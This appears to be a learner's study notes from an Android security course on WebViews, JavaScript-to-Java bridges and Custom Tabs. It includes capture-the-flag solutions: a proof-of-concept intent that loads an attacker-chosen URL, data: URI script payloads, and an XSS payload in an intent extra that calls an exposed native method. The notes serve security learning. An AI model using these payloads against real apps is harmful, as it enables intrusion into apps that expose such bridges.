WebView & CustomTabs

Many apps are not written in Java or Kotlin, but get implemented in Javascript and HTML that then gets rendered in a WebViews.

So when looking for security issues in apps, WebViews are a very important attack surface. In very old Android versions (2013), WebViews were very insecure and could even lead to arbitrary code execution. However in modern Android, this is not possible anymore.

Besides WebViews, there also exists so called Custom Tabs. This is a more modern feature

WebView

link: https://developer.android.com/develop/ui/views/layout/webapps/webview

The WebView class is an extension of Android's View class that lets you display web pages as a part of your activity layout. It doesn't include the features of a fully developed web browser, such as navigation controls or an address bar. All WebView does, by default, is show a web page.

A WebView is an actual UI component that can be added into the layout .xml of the app. e.g. It is same as you adding a button in UI.

The WebView element can then be referenced in the application code to load a URL in it.

protected void onCreate(Bundle savedInstanceState) {
            super.onCreate(savedInstanceState);
            EdgeToEdge.enable(this);
            setContentView(R.layout.activity_main);

            WebView webView = findViewById(R.id.webview);
            webView.loadUrl("https://www.hextree.io");

            ((Button) findViewById(R.id.button_1)).setOnClickListener(new View.OnClickListener() {
                @Override
                public void onClick(View v) {

                }
            });
        }
    }

and an embedded browser will load your url but remember you won't have features like searchbar like traditional browser.

Webview in browser

navigating to chrome://inspect/#devices in your host machine browser. You get webview debugging interface.

Sometimes it is enabled in production also deliberately which might become a issue, using this function

setWebContentsDebuggingEnabled(true)

where in app assets directory we have index.html and other js files which make up the app.

While WebView often serves content from the internet, it can also load local HTML and JavaScript files from within the app itself. This is useful for offline functionality or even when the app is entirely implemented in HTML and Javascript.

Android applications can include an /assets/ folder in their project structure. This folder is bundled into the final APK and is accessible at runtime. And WebView has a built in feature to load these files via file:///android_asset/ (or file:///android_res/):

WebView webView = findViewById(R.id.webView);
webView.getSettings().setJavaScriptEnabled(true); // Enable JavaScript if needed
webView.loadUrl("file:///android_asset/index.html");

Note that file:///android_asset/ is considered outdated and Android officially recommends to use an AssetLoader instead.

Because asset files are bundled in the APK publicly distributed in the Play Store, they are considered public. That's why WebViews can load them even when file access is generally not enabled. To be able to load other app internal files, the WebView WebSettings have to be changed:

WebView webView = findViewById(R.id.webView);
webView.getSettings().setAllowFileAccess(true);
//webView.getSettings().setAllowContentAccess(true);
//webView.getSettings().setAllowFileAccessFromFileURLs(true);
//webView.getSettings().setAllowUniversalAccessFromFileURLs(true);

Some settings like setAllowUniversalAccessFromFileURLs are very dangerous, but might still be required by some apps. We will look deeper into those settings as well.

JavaScriptInterface

WebViews in Android can allow JavaScript running in the WebView to call native Java methods. This is especially useful if the app logic is primarily implemented in HTML/Javascript and wants to access native Android features.

If an attacker can control the document loaded into a WebView, these exposed Java methods could lead to security issues.

e.g.

public class Flag38WebViewsActivity extends AppCompatActivity {
    public static String secret = UUID.randomUUID().toString();

    class JsObject {
        JsObject() {
        }

        @JavascriptInterface
        public void toastDemo() {
            Toast.makeText(Flag38WebViewsActivity.this.getApplicationContext(), "Called from WebView", 0).show();
        }

        @JavascriptInterface
        public String success(boolean z) {
            if (z) {
                Flag38WebViewsActivity.this.success();
                return "success(true)";
            }
            return "success(Boolean secret) requires `true` parameter";
        }
    }

    @Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
    protected void onCreate(Bundle bundle) {
        super.onCreate(bundle);
        EdgeToEdge.enable(this);
        setContentView(R.layout.activity_web_view);
        String stringExtra = getIntent().getStringExtra("URL");
        if (stringExtra == null) {
            stringExtra = "file:///android_asset/flag38.html";
        }
        ((TextView) findViewById(R.id.txt_webview_header)).setText(getClass().getSimpleName());
        ((TextView) findViewById(R.id.txt_webview_subtitle)).setText(stringExtra);
        final WebView webView = (WebView) findViewById(R.id.main_webview);
        webView.getSettings().setJavaScriptEnabled(true);
        webView.addJavascriptInterface(new JsObject(), "hextree");
        webView.loadUrl(stringExtra);
        findViewById(R.id.button_back).setOnClickListener(new View.OnClickListener() { // from class: io.hextree.attacksurface.webviews.Flag38WebViewsActivity$$ExternalSyntheticLambda0
            @Override // android.view.View.OnClickListener
            public final void onClick(View view) {
                Flag38WebViewsActivity.this.m160x89ddf80a(view);
            }
        });

in this activity you can see onload a webview is loaded with URL file:///android_asset/flag38.html whose content is

<!DOCTYPE html>
<html>
<head>
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>Flag38 WebView Demo</title>
</head>
<body>
<h1>Flag38 WebView Demo</h1>
<button onclick="hextree.toastDemo()">Native Toast</button><br><br>
<button onclick="document.write(hextree.success(false))">success(false)</button>
</body>
</html>

Now in java code you should notice

        webView.getSettings().setJavaScriptEnabled(true);
        webView.addJavascriptInterface(new JsObject(), "hextree");

1. JS is enabled in webview.

2. Most important thing, in webview we are adding a javascript<->java bridge of class JsObject with name hextree

3. which allows js in webview to call methods of class JsObject with name hextree. As you have seen in html e.g. hextree.success.

4. Not every function from Jsobject class is exposed this way, only annotated with @JavascriptInterfaceare exposed to webview JS.

solution,

as you can see if an intent is provided with URL then that URL is loaded in webview. which means which can call success() function with folllowing html file.

<!DOCTYPE html>
<html>
<head>
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>Flag38 WebView Demo</title>
</head>
<body>
<h1>Flag38 WebView Demo</h1>
<button onclick="hextree.toastDemo()">Native Toast</button><br><br>
<button onclick="document.write(hextree.success(true))">success(true)</button>

<script src="https://static.app/js/static.js" type="text/javascript"></script>
</body>
</html>

and poc app

  ((Button) findViewById(R.id.button_1)).setOnClickListener(new View.OnClickListener() {
                @Override
                public void onClick(View v) {
                    Intent intent = new Intent();
                    intent.putExtra("URL","https://url..."); //url of your html code
                    intent.setComponent(new ComponentName("io.hextree.attacksurface","io.hextree.attacksurface.webviews.Flag38WebViewsActivity"));
                    startActivity(intent);
                }
            });

THis URL: https://oak.hackstree.io/android/webview/pwn.html can become helpful in analyzing webview headers, function exposed etc. when loaded by webview in an app.

other way to solve using data URI

data:text/html,<script>alert(1)</script>

data:text/html,<script>hextree.success(true)</script>

example 2

public class Flag39WebViewsActivity extends AppCompatActivity {
    public static String secret = UUID.randomUUID().toString();

    class JsObject {
        JsObject() {
        }

        @JavascriptInterface
        public void success() {
            Flag39WebViewsActivity.this.success();
        }
    }

    @Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
    protected void onCreate(Bundle bundle) {
        super.onCreate(bundle);
        EdgeToEdge.enable(this);
        setContentView(R.layout.activity_web_view);
        final JSONObject jSONObject = new JSONObject();
        String stringExtra = getIntent().getStringExtra("NAME");
        ((TextView) findViewById(R.id.txt_webview_header)).setText(getClass().getSimpleName());
        ((TextView) findViewById(R.id.txt_webview_subtitle)).setText("file:///android_asset/flag39.html");
        final WebView webView = (WebView) findViewById(R.id.main_webview);
        webView.setWebViewClient(new WebViewClient() { // from class: io.hextree.attacksurface.webviews.Flag39WebViewsActivity.1
            @Override // android.webkit.WebViewClient
            public void onPageFinished(WebView webView2, String str) {
                super.onPageFinished(webView2, str);
                Log.i("Flag39", "init");
                webView.evaluateJavascript("initApp(" + jSONObject.toString() + ")", null);
            }
        });
        webView.getSettings().setJavaScriptEnabled(true);
        webView.addJavascriptInterface(new JsObject(), "hextree");
        webView.loadUrl("file:///android_asset/flag39.html");
        if (stringExtra == null) {
            stringExtra = "Neo";
        }
        try {
            jSONObject.put(FlagDatabaseHelper.COLUMN_NAME, stringExtra);
            findViewById(R.id.button_back).setOnClickListener(new View.OnClickListener() { // from class: io.hextree.attacksurface.webviews.Flag39WebViewsActivity$$ExternalSyntheticLambda0
                @Override // android.view.View.OnClickListener
                public final void onClick(View view) {
                    Flag39WebViewsActivity.this.m161xda87d60b(view);
                }
            });
            findViewById(R.id.button_reload).setOnClickListener(new View.OnClickListener() { // from class: io.hextree.attacksurface.webviews.Flag39WebViewsActivity$$ExternalSyntheticLambda1
                @Override // android.view.View.OnClickListener
                public final void onClick(View view) {
                    webView.reload();
                }
            });

and html file

<!DOCTYPE html>
<html>
<head>
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>Flag39 WebView Demo</title>
</head>
<body>
<h1>Flag39 WebView Demo</h1>
<div id="hello_name">loading...</div>
<script>
function initApp(obj) {
    console.log(JSON.stringify(obj));
    window.hello_name.innerHTML = `Hello <b>${obj.name}</b>`;
}
</script>
</body>
</html>

in this user controlled data is used to set window.hello_name.innerHTMLwhich can be dangerous.

solution

((Button) findViewById(R.id.button_1)).setOnClickListener(new View.OnClickListener() {
                @Override
                public void onClick(View v) {
                    Intent intent = new Intent();
                    intent.putExtra("NAME","</br><h1>ff</h1><img src=x onerror=hextree.success()>");
                    intent.setComponent(new ComponentName("io.hextree.attacksurface","io.hextree.attacksurface.webviews.Flag39WebViewsActivity"));
                    startActivity(intent);
                }
            });

using html injection and xss we can call exposed fucntion success.

....

Custom Tabs

Custom Tabs are a different way to display web content within an app. Unlike WebViews, Custom Tabs are actually not a UI element. Instead, they rely on the browser installed on the device to provide the interface and functionality.

Read more about it here: https://web.dev/articles/web-on-android#custom_tabs_as_a_solution_for_in-app_browsers.

e.g. this opens hextree on button click

 homeButton.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {

                CustomTabsIntent customTabsIntent = new CustomTabsIntent.Builder()
                        .setToolbarColor(ContextCompat.getColor(MainActivity.this, R.color.colorPrimary))
                        .addDefaultShareMenuItem()
                        .build();

                customTabsIntent.launchUrl(MainActivity.this, Uri.parse("https://hextree.io"));
            }
        });

webview vs customtab

• WebView is an actual embedded browser within your app. It is isolated from other apps, meaning a user logged into a website in their primary browser will not be logged in via the WebView.

• Custom Tabs simply interacts with the default browser on the device (e.g., Chrome). It shares session data, cookies, and accounts with the browser, meaning users are already logged into websites they’ve accessed in the browser.

“Custom Tabs is effectively a tab rendered by the user's browser”

In terms of security, Custom Tabs do not have access to your app internal files or FileProviders and cannot change the Same Origin Policy behaviour.

Due to these benefits, Google generally recommends developers to use Custom Tabs: https://support.google.com/faqs/answer/12284343?hl=en-GB

See also:

• https://web.dev/articles/web-on-android

• https://chromium.googlesource.com/chromium/src/+/refs/tags/122.0.6253.7/docs/security/custom-tabs-faq.md

There is no JS-java function bridge in customtab unlike webview